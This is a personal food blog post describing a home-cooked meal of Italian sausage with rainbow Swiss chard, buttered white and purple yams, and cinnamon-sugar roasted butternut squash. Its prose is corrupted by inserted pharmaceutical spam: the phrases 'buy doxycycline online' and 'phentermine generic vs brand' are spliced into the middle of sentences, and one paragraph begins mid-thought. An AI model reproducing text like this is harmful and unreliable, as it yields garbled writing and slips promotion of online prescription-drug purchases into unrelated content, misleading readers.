Sausage & Rainbow Swiss Chard with Yams and Butternut Squash

2012 Photo Challenge, Food

Nutritionally speaking, this is a healthy meal that is not healthy.  I have two side dishes, but they are both starchy and coated in butter.  Sometimes I just want to use certain ingredients, even if it doesn’t always come out to a cohesive meal.  One of my roommates boiled purple yams last week, which piqued my interest.  I immediately had to try them out myself!  I’m an adventurous eater, and there isn’t much I haven’t tried.

they look cool?  Isn’t that enough reason to buy
doxycycline online and eat them?  This has been my decision-making technique for many foods, for better or worse.

I sliced both white and purple yams and boiled them until done.  Then I tossed them back in the pan with butter to brown them.  My aunt showed me this country-style potatoes this weekend, and I’m in love phentermine generic vs brand with it!  It adds a crunch and buttery sweetness that cannot be resisted!


I peeled and chopped the butternut squash into bite-size pieces.  I placed them on a greased cookie sheet, drizzled olive oil, salt pepper, cinnamon and sugar over them and baked at 400 degrees Fahrenheit for 30 minutes. The butternut squash is one of my favorite fall squashes!  I usually roast it, but you can boil it and make mashed potato or . . . be creative!


For the main course, I chopped rainbow swiss chard and Italian sausage.  I browned the sausage, then placed the swiss chard on top, poured 1/2 cup of white wine and fresh squeezed lime juice over everything.  Place a lid over the skillet and let it simmer and cook through until done.



Bon Appetite!

Do you work through dinner too?
